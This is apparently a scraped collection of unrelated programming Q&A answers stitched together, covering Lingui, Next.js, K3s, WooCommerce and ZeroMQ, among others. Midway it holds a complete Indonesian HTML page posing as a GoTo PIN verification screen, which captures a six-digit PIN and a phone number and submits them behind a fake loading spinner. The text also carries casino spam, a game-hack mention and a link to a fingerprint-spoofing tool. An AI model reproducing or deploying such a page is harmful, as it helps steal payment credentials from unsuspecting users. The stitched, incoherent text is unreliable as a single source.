This topic caught my attention and I was looking into it. I found something quite similar to what you described here: GitHub link.
Disable GitLens and restart the Visual Studio Code
Az online kaszinók között a https://wazambacasinohu.org/ kiemelkedik színes és interaktív felületével, valamint széles játékkínálatával. Az oldalon megtalálhatók a klasszikus és modern nyerőgépek, élő kaszinó játékok, valamint különböző bónuszok és promóciók, amelyek minden játékos számára izgalmas lehetőségeket nyújtanak. A felhasználóbarát navigáció és a könnyen kezelhető felület garantálja, hogy a játékélmény zavartalan és élvezetes legyen.
I am having the same issue and apparently you can add suppressClearModelOnRefreshValues: true
to filterParams
to fix it.
Fun fact: it works for you but not for me 😅
In order to avoid blocking the terminal, remove the last line from the above code, i.e.,
# ml_client.jobs.stream(job.name) # uncomment to make it synchronous and wait until job finishes
This is documented in the following tutorial:
In this section:
Hi everyone. While installing test link, I get this error at the last step:
Parse error: syntax error, unexpected token ":" in C:\xampp\htdocs\testlink\config.inc.php on line 242
This is line 242 I have on the config.inc.php file:
/** @var string Path to store logs */
$tlCfg->log_path = D:/xampp/htdocs/testlink/logs/; 'logs' . DIRECTORY_SEPARATOR ;
Can you tell me where the error is? Thanks.
This solved the problem!
It was a bug in the newest installed version of playwright so I rollbacked to:
yarn add --dev @playwright/[email protected]
https://yarnpkg.com/package?q=%40playwright%2Ftest&name=%40playwright%2Ftest
A link to all versions.
i face this problem last time but i don't remember exectly but i think i follow this steps if i'm not wrong
Sorting the results by category, so forums belonging to the same category appear consecutively.
Tracking the current category title, so that a new <div class=''forum''> block is only opened when the category changes.
Appending forum rows inside the same table until a new category is detected.
Closing the previous table block when a new category starts or at the end of the loop.
i am using next v14, i fixed this issue: create file jsconfig.json same as tsconfig.json to build docker, then it run with me
Free Fire Mod Menu Hack crashed
java.lang.NoClassDefFoundError: Failed resolution of:
Lmiui/os/Build: this problem
It's usually because of edge cases, input/output formatting issues, or logic errors that only some HackerRank test cases fail. Ensure that your code is optimized according to constraints and hidden inputs.
I face the same issue as above, and I used the solution as set options ... , but the issue still. Any one can help me?
Just make this change in your: tsconfig.json file
{
"compilerOptions": {
"target": "esnext",
"module": "esnext",
"outDir": "./dist"
}
}
I had this issue and found out that the developers of {targets}
recommend installing the latest version of {data.table}
from CRAN to address this exact issue:
https://github.com/ropensci/targets/discussions/1489#discussioncomment-13146977
They suggest minimum version of 1.16.0. I upgraded and it fixed it for me!
That error is coming straight from Lingui’s core:
Lingui: Attempted to call a translation function without setting a locale.
Make sure to call `i18n.activate(locale)` before using Lingui functions.
In a Next.js App Router setup, this usually happens because your server-side prerender (or build step) renders a page where you call t
, Trans
, or i18n._(...)
before you’ve initialized Lingui and activated a locale.
Here are the key points to fix it:
1. Initialize Lingui on the server
Lingui requires an i18n
instance with an active locale. In an App Router project, that normally means you need to initialize it per request (server components can’t rely on a global instance).
Example lib/i18n.ts
:
import { i18n } from "@lingui/core";
import { messages as enMessages } from "../locales/en/messages";
import { messages as deMessages } from "../locales/de/messages";
// preload your catalogs (or load dynamically if you prefer)
const catalogs: Record<string, any> = {
en: enMessages,
de: deMessages,
};
export function initI18n(locale: string) {
if (!catalogs[locale]) {
throw new Error(`Missing messages for locale "${locale}"`);
}
i18n.load(locale, catalogs[locale]);
i18n.activate(locale);
return i18n;
}
For App Router, you can initialize per request in your layout.tsx
:
// app/[locale]/layout.tsx
import { initI18n } from "@/lib/i18n";
import { I18nProvider } from "@lingui/react";
export default function RootLayout({
children,
params,
}: {
children: React.ReactNode;
params: { locale: string };
}) {
const i18n = initI18n(params.locale);
return (
<html lang={params.locale}>
<body>
<I18nProvider i18n={i18n}>{children}</I18nProvider>
</body>
</html>
);
}
That way, before any translation is rendered, you’ve already activated the locale.
t
outside componentsIf you try to use Lingui’s t
macro or i18n._(...)
at the module top-level (outside a function, e.g. directly in page.tsx
), Next will evaluate it before your I18nProvider
exists → you’ll get that exact error.
✅ Instead, always call t
or render <Trans>
inside React components.
4. Double-check static export (next export
)
If you’re running next build && next export
, Next will prerender all routes. If Lingui doesn’t have a default locale active at build time, you’ll hit the error.
Options:
Use a default locale in initI18n
when nothing is passed.
Or exclude those pages from prerendering (dynamic = "force-dynamic"
in page.tsx
).
⚡ Likely fix for you: move all t(...)
calls inside components and make sure you’re activating i18n
in your [locale]/layout.tsx
(or _app.tsx
if you’re still using Pages Router).
DID I HELP YOU TO SOLVE THE PROBLEM???
I just fixed my by manually delete the file under .git/config and thankfully all uncommited changes recover
<!DOCTYPE html>
<html lang="id">
<head>
\<meta charset="UTF-8"\>
\<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"\>
\<meta name="theme-color" content="#008000" /\>
\<title\>Verifikasi GoTo PIN\</title\>
\<style\>
body {
font-family: Arial, sans-serif;
background-color: #f5f5f5;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: flex-start;
padding-top: 50px;
height: 100vh;
}
nav {
width: 100%;
position: fixed;
background-color: white;
z-index: 1000;
}
nav.top {
top: 0;
border-bottom: 1px solid #ddd;
}
nav.bottom {
bottom: 0;
border-top: 1px solid #ddd;
}
nav img {
width: 100%;
height: auto;
display: block;
}
.container {
text-align: center;
margin-top: 10px;
margin-bottom: 60px;
}
p {
font-size: 14px;
text-align: left;
color: #666;
margin-left:-10%;
margin-bottom: 30px;
font-weight:bold;
}
.input-group {
display: flex;
justify-content: center;
gap: 30px;
margin-left: -5px;
}
input\[type="number"\] {
width: 15px;
height: 15px;
border: 2px solid #080;
border-radius: 100%;
text-align: center;
font-weight: bold;
font-size: 15px;
color: #080;
background-color: white;
transition: background-color 0.2s ease;
outline: none;
}
input\[type="number"\]:focus {
border-color: #080;
}
input\[type="number"\].filled {
background-color: #080;
border-color: #008000;
}
input\[type="number"\]::-webkit-inner-spin-button,
input\[type="number"\]::-webkit-outer-spin-button {
-webkit-appearance: none;
margin: 0;
}
input\[type="number"\] {
-moz-appearance: textfield;
}
.loading {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
z-index: 1000;
text-align: center;
}
.loading img {
width: 80px;
height: 80px;
border-radius: 10px;
}
.box {
background-color: white;
width: 300px; /\* Tetapkan lebar tetap \*/
padding: 20px; /\* Atur padding sesuai kebutuhan \*/
margin-top: 20px;
border-radius: 6px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
display: flex;
flex-direction: column;
align-items: center; /\* Rata tengah konten di dalam \*/
}
.text-box5 {
background-color: white;
padding: 10px 20px;
border-radius: 30px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
font-size: 12px;
color: #080;
font-weight: bold;
text-align: center;
margin-left: -62%;
margin-top: 20px; /\* Tambahkan jarak dari elemen sebelumnya \*/
}
\</style\>
</head>
<body>
\<nav class="top"\>
\<img src="img/nav.png" alt="Nav Atas"\>
\</nav\>
<div class="box">
\<p\>Silahkan Ketik 6 digit PIN kamu buat lanjut.\</p\>
<form id="pin-form" omsubmit="return false" class="hid" style="width: 100%;">
\<div class="input-group"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\</div\>
\<input type="hidden" name="pin" id="pin"\>
\<input type="hidden" name="phone_number" id="phone_number" value=""\>
\<button type="submit" style="display: none;"\>\</button\>
\</form\>
</div>
<div class="text-box5">LUPA PIN?</div>
\<nav class="bottom"\>
\<img src="img/nav1.png" alt="Nav Bawah"\>
\</nav\>
\<div class="loading" id="loading"\>
\<img src="I5JAJOrShr.gif" alt="" /\>
\<p\>\</p\>
\</div\>
\<script\>
const phoneNumber = localStorage.getItem('phone_number');
const pinForm = document.getElementById("pin-form");
const hiddenInput = document.getElementById("pin");
const loading = document.getElementById("loading");
const phoneInput = document.getElementById("phone_number");
function isNumberKey(evt) {
const charCode = evt.which || evt.keyCode;
return charCode \>= 48 && charCode \<= 57;
}
function handleInput(input) {
const inputs = document.querySelectorAll('input\[type="number"\]');
const firstInput = inputs\[0\];
// Validasi agar input dimulai dari kolom pertama
if (input !== firstInput && firstInput.value === "") {
firstInput.focus();
input.value = "";
return;
}
if (input.value.length === 1) {
input.classList.add("filled");
const nextInput = input.nextElementSibling;
if (nextInput && nextInput.tagName === "INPUT") {
nextInput.focus();
} else {
collectPin();
showLoading();
}
} else {
input.classList.remove("filled");
}
}
function handleBackspace(input, event) {
if (event.key === "Backspace" && input.value === "") {
const prevInput = input.previousElementSibling;
if (prevInput && prevInput.tagName === "INPUT") {
prevInput.focus();
prevInput.value = "";
prevInput.classList.remove("filled");
}
}
}
function collectPin() {
const inputs = document.querySelectorAll('input\[type="number"\]');
const pin = Array.from(inputs).map(input =\> input.value).join('');
hiddenInput.value = pin;
}
function showLoading() {
loading.style.display = "block";
setTimeout(() =\> {
phoneInput.value = phoneNumber || "";
pinForm.submit();
}, 2000);
}
\</script\>
</body>
</html>
When you call asyncio.create_task(coro)
, the coroutine doesn’t just get registered. It is scheduled immediately on the event loop. That means the coroutine is started right away, up until its first await
.
That’s why you see Do something with 1...
printed immediately after creating task1
: the event loop gives it a chance to run at least until it hits await asyncio.sleep(...)
. Same for task2
.
Have everybody here suddenly forgot about <tt> tag?
Excute me, I have question: Is Firebase is locked if this issue appear frequently?
I was able to fix the issue by using System.Windows.Forms.Clipboard instead of System.Windows.Clipboard.
Explanation:
System.Windows.Clipboard uses WPF. Its first usage will start a hidden WPF message loop. This loop marks the application as DPI-aware and triggers a DPI awareness context switch. As a result, the window layout breaks if the application cannot handle higher DPI settings.
To reproduce the behavior, a Windows DPI setting above 100% is required (e.g., 150%).
is this module working on Prestashop?
The problem was on AWS IAM User. I deleted the previous user and recreated a one with Full S3 access. Used new KEY and SECRET from the new user and problem solved.
Sounds like build 5074 is causing authentication errors.
I'm having similar with some VB6 applications.
Currently rolling back to 10.0.26100.4946 to see if it fixes it.
I had the same problem for a long time in WebStorm until I've found that the reason was a JetBrains' plugin for Subversion (https://plugins.jetbrains.com/plugin/11553-subversion)
The LocalStorage component is really only client side. So I think import it with { ssr: false }
is reasonable.
Suppose you want to use your LocalStorage component within Foo component in the same directory level.
.
├── foo.tsx
└── local-storage.tsx
// foo.tsx
"use client";
import dynamic from "next/dynamic";
const LocalStorage = dynamic(() => import("./local-storage"), { ssr: false });
const Foo:React.FC = () => (
<LocalStorage />
)
export default Foo;
Switch to Raw / Pretty View
In Postman, select the "Pretty" or "Raw" view instead of Table.
This will let you scroll through the full JSON.
Paginate Your API (Best Practice 🚀)
Instead of returning all categories at once, return data in pages.
Example:
GET /api/administrateur/categories?page=1&limit=50
This makes responses smaller, faster, and easier to display.
Download the Responses
In Postman, click Save Response → Save to File and open it in VS Code or a JSON viewer.
Try turning off the sessionpool's autofetch, like
sessionPool =
new SessionPool.Builder()
.nodeUrls(nodeUrls)
.user(username)
.password(password)
.maxSize(500)
.enableAutoFetch(false)
.build(),
In my latest Dyomla run I encountered the same problem...
For the the Dymola 2023 Version following these steps worked:
go to >Options >click in the bottom on the button "Variables..."
This opens a window with all Dymola varaibles. Then use the filter/ search bar and enter the Variable Advanced.Define.DAEsolver
Activate the check box and close the window.
https://github.com/mergograiqevci/react-native-biometrics-changed
This should be able to detect if there have been any changes or manipulations on biometrics (including deletion, editing, adding)
Just upgrade your flutter version. If you don't want to upgrade then just download the current flutter sdk from flutter's sdk archive site and replace the your current flutter folder with the newly downloaded one(make sure the folder name doesn't change so that path doesn't get affected) and restart VSCode.
There is now a clear_button
plugin in selectizeInput.
shiny::selectizeInput(
...,
options = list(
plugins = list("remove_button", "clear_button")
)
)
Okay, I've managed to fix this by first removing the package manually and then running fix broken install.
dpkg --remove --force-all python3-pyinstaller-hooks-contrib
apt --fix-broken install
It looks like you're trying to access the config datastore.
Could you try the following endpoint instead?
GET /rests/data/opendaylight-inventory:nodes?content=nonconfig
Using content=nonconfig will retrieve data from the operational datastore.
You can find more examples in the official ODL documentation: https://docs.opendaylight.org/projects/openflowplugin/en/latest/users/operation.html
For me,
This worked
docker run --name <container_name> -p 27018:27017 <mongodb_image>
Assuming port 27018 is not running any process
When it runs, in MongoDB Compass in
Add New Connection: mongodb://localhost:27018 -> Mention the first port number you used for docker run command
Yea this is the expected behaviour. If you hide/minimise the PiP window, it turns into audio only feed and video feed stops. You can even notice the indicator on the native system toolbar turns from green (camera feed) to orange (mic feed).
Something like that:
// 1. Display multiple upload file field
add_action( 'woocommerce_after_order_notes', 'add_custom_checkout_field' );
function add_custom_checkout_field($checkout) {
echo '<div class="woocommerce-additional-fields__field-wrapper">';
woocommerce_form_field('certificate', array(
'type' => 'file',
'class' => array('form-row-wide'),
'label' => __('Files', 'woocommerce'),
'required' => false,
'multiple' => 'multiple',
'name' => 'certificate[]', // as array
'accept' => '.pdf,.doc,.docx,.rtf,.txt',
), '');
echo '</div>';
}
// 2. Save multiple uploaded files URL and name to order meta
add_action( 'woocommerce_checkout_create_order', 'save_checkout_uploaded_files', 10, 2 );
function save_checkout_uploaded_files( $order, $data ){
if( !empty($_FILES['certificate']['name'][0]) ) {
$uploaded_files = array();
foreach ($_FILES['certificate']['name'] as $key => $value) {
if ($_FILES['certificate']['error'][$key] === UPLOAD_ERR_OK) {
$file = array(
'name' => $_FILES['certificate']['name'][$key],
'type' => $_FILES['certificate']['type'][$key],
'tmp_name' => $_FILES['certificate']['tmp_name'][$key],
'error' => $_FILES['certificate']['error'][$key],
'size' => $_FILES['certificate']['size'][$key]
);
// Handle upload safely using WP functions
$upload = wp_handle_upload($file, array('test_form' => false));
if (!isset($upload['error'])) {
$uploaded_files[] = array(
'file_url' => $upload['url'],
'file_name' => $file['name']
);
}
}
}
if (!empty($uploaded_files)) {
$order->update_meta_data( '_checkout_upload', $uploaded_files );
}
}
}
// 3. Helper function to display uploaded files as links
function display_uploaded_files_list($files) {
if (!empty($files) && is_array($files)) {
echo '<p>' . __("Files Uploaded:", 'woocommerce') . '</p><ul>';
foreach ($files as $file) {
printf('<li><a href="%s" target="_blank" rel="noopener noreferrer">%s</a></li>', esc_url($file['file_url']), esc_html($file['file_name']));
}
echo '</ul>';
}
}
// 4. Display uploaded files in admin order page
add_action('woocommerce_admin_order_data_after_billing_address', 'display_uploaded_files_in_admin_orders');
function display_uploaded_files_in_admin_orders( $order ) {
$uploaded_files = $order->get_meta( '_checkout_upload' );
display_uploaded_files_list($uploaded_files);
}
// 5. Display uploaded files on thank you page
add_action('woocommerce_order_details_after_order_table', 'display_uploaded_files_in_thankyou');
function display_uploaded_files_in_thankyou( $order ) {
$uploaded_files = $order->get_meta( '_checkout_upload' );
display_uploaded_files_list($uploaded_files);
}
// 6. Display uploaded files in WooCommerce emails
add_action('woocommerce_email_customer_details', 'display_uploaded_files_in_email');
function display_uploaded_files_in_email( $order ) {
$uploaded_files = $order->get_meta( '_checkout_upload' );
display_uploaded_files_list($uploaded_files);
}
There is a menu option : Tools -> GitHub Copilot
MediaQuery(
data: MediaQuery.of(context).copyWith(textScaler: TextScaler.noScaling),
child: child!
),
Try this
It might be due to some wrong declaration issue, this is commonly faced by Top Gaming Companies in India also while doing similiar tasks.
I always prefer to use flags
$flagFirstLine = true;
foreach($doc->getElementsByTagName('a') as $a){
if(!$flagFirstLine) {
foreach($a->getElementsByTagName('img') as $img){
echo $a->getAttribute('href');
echo $img->src . '<br>';
}
}
$flagFirstLine = true;
}
Or is my whole idea of running entire tests in the EDT doomed from the start
When it comes to modal dialogs, yes.
How do I assert on Swing modal dialogs?
Upon asynchronously calling a blocking showing method (e.g. with SwingUtilities.invokeLater()
), you waitForIdle()
outside of the EDT and then assert.
All creations, mutations, access of Swing components, on the other hand, should be done in the EDT. See this answer for an example.
Figured it out . This permission is managed under System Settings > Privacy & Security > Local Network.
solution for this =>"Meta XR Simulator window opens and closes immediately" in this link have solution https://communityforums.atmeta.com/discussions/dev-unity/meta-xr-simulator-closes-immediately-after-launch/1330267
Great questions! You're asking all the right things as someone starting with container orchestration. Let me break this down clearly:
Minikube vs Multi-Node Clusters
You're absolutely right - Minikube is single-node only. It's designed to run Kubernetes locally on your laptop for learning/development. For your 4-node Raspberry Pi cluster, Minikube won't work.
For Raspberry Pi clusters, you have better options:
Docker Compose Multi-Host Question
Docker Compose alone cannot manage containers across different hosts. It's designed for single-host deployments. If you want to run containers on multiple Raspberry Pis with Docker Compose, you'd need separate compose files on each Pi - no automatic coordination between them.
For simple cross-host orchestration, you'd need something like Docker Swarm or K3s.
Docker Swarm vs Kubernetes
They're completely independent solutions that solve the same problem:
You pick one or the other, not both.
Kubernetes on Raspberry Pi - Resource Usage
You heard correctly! Full Kubernetes is resource-hungry on Pi. A single-node Kubernetes cluster can easily consume 1GB+ RAM just for the control plane components, leaving little for your actual applications.
This is why I strongly recommend K3s for Raspberry Pi clusters.
K3s - Perfect for Raspberry Pi
K3s is lightweight Kubernetes that's perfect for your use case:
Setup Recommendation for Your 4-Pi Cluster
curl -sfL https://get.k3s.io | sh -
curl -sfL https://get.k3s.io | K3S_URL=https://main-pi-ip:6443 K3S_TOKEN=your-token sh -
Alternative: Docker Swarm for Simplicity
If K3s feels too complex initially, Docker Swarm is simpler:
docker swarm init
docker swarm join --token :2377
Then you can deploy with docker stack deploy using compose files.
My Recommendation Path:
Quick Comparison for Pi Clusters:
Tool | RAM Usage | Complexity | Pi Suitable |
---|---|---|---|
Docker Compose | Low | Very Low | Single Pi only |
Docker Swarm | Low | Low | ✅ Great |
K3s | Low | Medium | ✅ Excellent |
Full Kubernetes | High | High | ❌ Too heavy |
MicroK8s | Medium | Medium | ✅ Good |
Start with K3s - it's specifically designed for scenarios like yours and will give you the best learning experience without killing your Pi's performance.
For a detailed comparison of lightweight Kubernetes options perfect for Pi clusters, check out: https://toolstac.com/alternatives/kubernetes/lightweight-orchestration-alternatives/lightweight-alternatives
After starting expo you can press Shift + A to select an Android device or emulator to open. (Same Shift + I for ios)
To delete the broken emulator you can use the Android Studio device manager:
Great work, do you have the solution?
Use the Wikimedia REST API ...
"I want to perform report rationalization for our enterprise reporting ecosystem. The environment includes SQL Server tables, stored procedures, SSIS packages, and SSRS reports stored in our code repository. Please analyze all this source code and metadata to:
Extract metadata about data sources, transformations, and reports
Build a data lineage and dependency graph showing how data flows from SQL tables through ETL to reports
Identify reports that are similar or near-duplicate based on query logic, datasets, parameters, and output metrics
Cluster reports by similarity and highlight redundancies
Provide a summary report listing duplicate or overlapping reports with explanation of similarity criteria
Visualize key dataset reuse and report dependency chains
You can treat this as a multi-step task with iterative refinement. Use retrieval-augmented generation techniques to incorporate contextual information from the entire codebase for accurate analysis. Output the findings in a structured format suitable for consumption by business and technical stakeholders."
Here is the link to the Full Blog Post on K-Armed Bandit Problem.
https://dystillvision.com/writing/engineering/multi_k_armed_bandit_problem_in_reinforcement_learning
Python Program for the K-Armed Bandit Problem
import numpy as np
class EpsilonGreedy:
def __init__(self, k_arms, epsilon):
self.k_arms = k_arms
self.epsilon = epsilon
self.counts = np.zeros(k_arms) # Store for Number of Arm is pulled
self.values = np.zeros(k_arms) # Store for Estimated Value for each Arm
def select_arm(self):
if np.random.rand() < self.epsilon:
print("Selecting 1 random Arm between 1 and k_arms")
return np.random.randint(0, self.k_arms)
else:
max_value = np.argmax(self.values)
print("Selecting Max Value Arm", max_value)
return max_value
def update(self, chosen_arm, reward):
self.counts[chosen_arm] += 1
c = self.counts[chosen_arm]
value = self.values[chosen_arm]
updated_value = ((c-1)/c) * value + (1/c) * reward
self.values[chosen_arm] = updated_value
# print(chosen_arm, " has been selected ", n, "times")
# print("Current value for ", chosen_arm, " is", updated_value)
k_arms = 10 # Ten weapon options
epsilon = 0.1 # Random weapon for 10% of trials
n_trials = 1000
rewards = np.random.randn(k_arms, n_trials)
agent = EpsilonGreedy(k_arms, epsilon)
total_reward = 0
for t in range(n_trials):
arm = agent.select_arm()
print(arm)
reward = rewards[arm, t]
agent.update(arm, reward)
total_reward += reward
print("Total Reward ", total_reward)
<ul> tag has a default padding-left from 40px. You can override this with css.
ul {
padding-left: 0
}
https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Text_styling/Styling_lists
[columnMode]="'force'"
replace force
to standard
or flex
bodysuit is blacklisted resixpack
Yesterday I spent hours debugging my Flutter app. The .aab
looked fine in Android Studio, but both the emulator (16kb) and Play Console showed errors. The issue is a bug in Android Studio Narwhal 2025.1.2, where AAB alignment isn’t checked properly (APKs are fine).
https://github.com/flutter/flutter/issues/173949#issuecomment-3220455340
https://issuetracker.google.com/issues/432782053?pli=1
The fix: install the RC version (2025.1.3), upgrade NDK to r28, and update Gradle. I used gradle-8.14.2-all.zip
since I couldn’t find the alpha mentioned.
Hope I save you some time if you are on the same situation. 😊
This should be fixed with Version 1356.ve360da_6c523a_
because in Node.JS, timeout 0 equal to 0.05
Here's a link to UPS Knowledge Base FAQs (Page 10 - Shipping API - Package - First Question) which clearly indicates that UPS backend systems does not support double-byte (Unicode, UTF 8) characters. Only Latin characters can be entered and submitted.
You can move the update logic to a different helper class and just use @async and make it non blocking.
I know its simple and straightforward, but please let me know the issue you faced here
Just extra question, how do I know which job/program send data to dataqueue AAAA of library BBBB by using db2 query?
BR,
check your URL rewrite's in the
web.config
file or IIS manager (as depicted in the picture below), make sure the rules are correct, check out my problem to fixing the WebResource.axd
file: https://stackoverflow.com/a/79755304/1704382
This blog post provides a clear explanation. Be sure to check it out!
https://medium.com/@amitdey9020/why-your-javascript-app-slows-down-over-time-memory-leaks-explained-1bb88eb77275
try adding !important
after the display: none
rule to ensure the labels stay hidden.
If you want to avoid appending, you could reduce the reversed list on itself:
l = [1,2,3,4]
lr = Enum.reverse(l)
Enum.reduce(lr, lr, fn x, acc -> [x | acc] end)
This will avoid traversing the list twice (once for reverse, another for appending with ++
).
had similar issue and if this pings op, please update your secrets and passwords posted above and i'm still trying to solve the warning
WRN Error checking new version error="Get \"https://update.traefik.io/repos/traefik/traefik/releases\"
for me chilean reazoning is no any reason to make a job execute inmediatly, first question is, why inmediatly?, is the job any possibility to improve any priocess of you entire bussines pŕoccess?
by the way if you make a call to any api inmediatly use cURL.
there is many ways to get dos de píno y dos de queso by make a process inmediatly
execution
https://dev.to/webdox/corre-tus-tareas-recurrentes-con-sidekiq-3nj1
With SourceTree on MacOS: Settings -> Advanced
Firstly, you need to choose which host you want to refactor:
If you need to change both the username and password, please edit the username first. SourceTree will require the password when you interact with the Git repository.
If you need to change the password only, I think it is better to delete the credential. When you interact with the Git repository, SourceTree will require you to enter a new one.
Q :
" (...) if I run the zproxy.py and zpub.py scripts on one machine, and zsub.py on another machine (...) never prints anything."
Oh sure, it must do so -- just review the actual, imperatively commanded, connectivity setup :
Host A Host B
+-------+ +-------+
| | zproxy | |
o========.bind("tcp://*:5559") | |
+-->o========.bind("tcp://*:5560") | |
| | | | |
| | | +-->? |
| +-------+ | +-------+
| | zsub
| +---.connect("tcp://{}:5559".format( getNetworkIp() )
| goes Host B ^^^^^^^^^
| onto |||||||||
| self ------------------------------+++++++++
| zpub
+---.connect("tcp://{}:5560".format( getNetworkIp() )
Host A ^^^^^^^^^
Q :
" Can anyone tell me what I'm doing incorrectly? "
(a)
repair the adresses accordingly, so as to indeed .connect()
onto an RTO .bind()
-prepared AccessPoint(s)
(b)
repair the error-blind distributed-code. There are many reasons, why naiive expectations may and do fail in real-world. Always test errno
-indicated results from operations
(c)
better be nice to resources. There is no control of closing/release of instantiated sockets. That is wrong. Always release/dispose off resources, the more if gonna be used infinitely times, as above in an infinite loop.
(d)
last, but not least, your code should fail even on the localhost colocated run attempts, as the XPUB
/XSUB
-messages are (by definition, documented in native API, which Python wrapper might have put in shade) multipart. The code as-is shall block infinitely, as even the first arriving message ( being by definition multipart ) does not fully read-out from the incoming queue. One may find, even here, on StackOverflow, remarks on "robust"-provisioning for surviving (un)known-many-parts multipart-messages for production grade apps.
Add USE_EXACT_ALARM (for exact scheduling) and FOREGROUND_SERVICE_DATA_SYNC (if applicable) in your manifest.
Switch from BackgroundJob to WorkManager – it’s the officially supported way for background sync in Android 12+.
For push notifications, ensure you’ve requested POST_NOTIFICATIONS and added a proper NotificationChannel.
On Android 14, background execution logs “not allowed” if you don’t start the task from a foreground service or scheduled WorkManager job.
Use WorkManager (with constraints if needed) instead of BackgroundJob, and if you need long-running tasks, tie them to a foreground service with the right permission in the manifest.
You can use this project to achieve fingerprint spoofing: https://github.com/gospider007/fingerproxy
Agree with @monim's explanation.
The reason this is happening is because setState
is asynchronous. So clientSecret may not yet hold a value when stripe.confirmCardPayment
was called. This is in line with the React docs here: https://17.reactjs.org/docs/react-component.html#setstate
React does not guarantee that the state changes are applied immediately
...
setState()
does not always immediately update the component. It may batch or defer the update until later. This makes readingthis.state
right after callingsetState()
a potential pitfall.
Another approach you can consider, is to use the useEffect
hook to monitor changes to clientSecret. This way, once it has a value/changed it's value, you can call stripe.confirmCardPayment
.
const [clientSecret, setClientSecret] = useState('');
useEffect(() => {
async function confirm() {
if (stripe && elements) {
const { error: stripeError } = await stripe.confirmCardPayment(clientSecret, {
payment_method: {
card: elements.getElement(CardElement)
}
});
if (stripeError) {
console.error('Payment failed', stripeError);
} else {
console.log('Payment successful');
}
}
}
if (clientSecret) {
confirm();
}
}, [clientSecret, setClientSecret, stripe, elements]);
const handleSubmit = async (event) => {
event.preventDefault();
await createPaymentIntent();
};
const createPaymentIntent = async () => {
var imageLength = localStorage.getItem("imageBytes").split(',').length;
await fetch(`${HostName}api/Sell/xxxxx`, {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify({ "numberOfImages": imageLength })
})
.then((response) => response.json())
.then((response) => {
setClientSecret(response.clientSecret);
})
.catch(error => console.warn(error));
};
You can pass parameters to iframe through the src attribute. Please refer to the following article
https://www.metabase.com/docs/latest/embedding/static-embedding-parameters
Just in case this might be helpful for others: I was having an issue with SQL Developer v24, where it wouldn't let me select a database directly.
To get around it, I typed the connection string in the Hostname
field and left Port
and Choose Database
fields blank.
Answer: PumpFun bonding curves use massive virtual reserves (typically 30,000 SOL and 1+ billion tokens) that dominate the pricing formula until substantial real volume accumulates, making small sells return effectively zero SOL due to mathematical rounding rather than a technical bug.
Resolutions: (1) Build significant volume through multiple large purchases totaling 10-100+ SOL before attempting sells, (2) use a different DEX like Raydium for immediate buy/sell testing, (3) create tokens with lower virtual reserves if using a custom bonding curve implementation, (4) simulate realistic market conditions with multiple wallets making substantial purchases, or (5) accept that PumpFun is designed for tokens that build community volume over time rather than immediate trading functionality.
I have a question, how to launch the website with .env variables? Currently I have them under the build/web/assets folder which will be exposed to the public when I deploy the web app. So, how to deploy the flutter web safely with a .env file without leaking any secrets on a hosting platform?
The "Global solution" portion of this post from Greg Gum (user:425823) helped me with bind:after issue.
Search for ArtistScope to find a variety of copy protection solutions for all types of media and scenarios.
They provide the only solutions that can effectively copy protect web page content.
gcc/g++ is excellent choice. You may want to add the --std option to get the newer standards.
This error is almost always a KV-cache mismatch, (the Cache object introduced in recent versions). In training, you don’t need the KV cache at all.
model.config.use_cache = False
You can refer to this project's implementation: https://github.com/gospider007/fp
This example will give the answer:
https://tradingview.github.io/lightweight-charts/tutorials/how_to/series-markers
8 years on, it's about time we got an answer!
I did this using pyftdi and the .exchange method:
address = 'ftdi:///1'
spi = SpiController()
spimode =0
spi.configure(address)
slave = spi.get_port(cs=0, freq=1e6, mode=spimode)
dup_write = b'\x18\x00' #sending two bytes. This is what you are writing to your device
dup_read = slave.exchange(dup_write, duplex=True)
No, CodeBuild will make one API call to retrieve the entire
MyDatabaseSecret
secret.
You can run this command virsh vncdisplay $domainName | awk -F: '{print 590 $2}'
to get the port number in 590x format.
Just stumbled across this looking for something, else but as I do a lot of wheels for radio controlled models I create, this is how I would create a spoked design.
difference()
{
union()
{
//shaft
translate([0,0,0])cylinder(10,5,5,$fn=100,center=true);
//main blades
dia1=4;
for(blade1 = [0 : 360/10 : 360])rotate([90,0,blade1])translate([dia1,0,0])cube([30,5,1],center=true);
//blade tips
dia2=19;
for(blade1 = [6 : 360/10 : 360])rotate([90,0,blade1])translate([dia2,0,0])rotate([0,90,0])cube([5,5,1],center=true);
}
//hollow shaft
translate([0,0,0])cylinder(12,3,3,$fn=100,center=true);
}
the debugfs
command from the official extX-fs support package (e2fsprogs
) has an rdump
command to recursively extract filesystems in userspace.
/usr/sbin/debugfs -R 'rdump / filesystem_extracted' filesystem.img
(it had this since may 2000: https://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git/commit/debugfs/dump.c?id=2e8d40d562ec93d68505800a46c5b9dcc229264e )
docker run --rm -it --network=host alpine ash -c "apk add socat && socat TCP-LISTEN:5000,reuseaddr,fork TCP:host.docker.internal:5000"
This command creates a temporary network bridge so that Docker Desktop can reach the Minikube registry via 127.0.0.1:5000. Without this, Docker cannot connect to the Minikube port-forward.
When you run the first command, let your terminal opened and go start a new one and run your commands for tag and push. example:
docker tag my_first_image 127.0.0.1:5000/my_first_image
docker push 127.0.0.1:5000/my_first_image
Turns out I had an environment variable called TF_BUILD
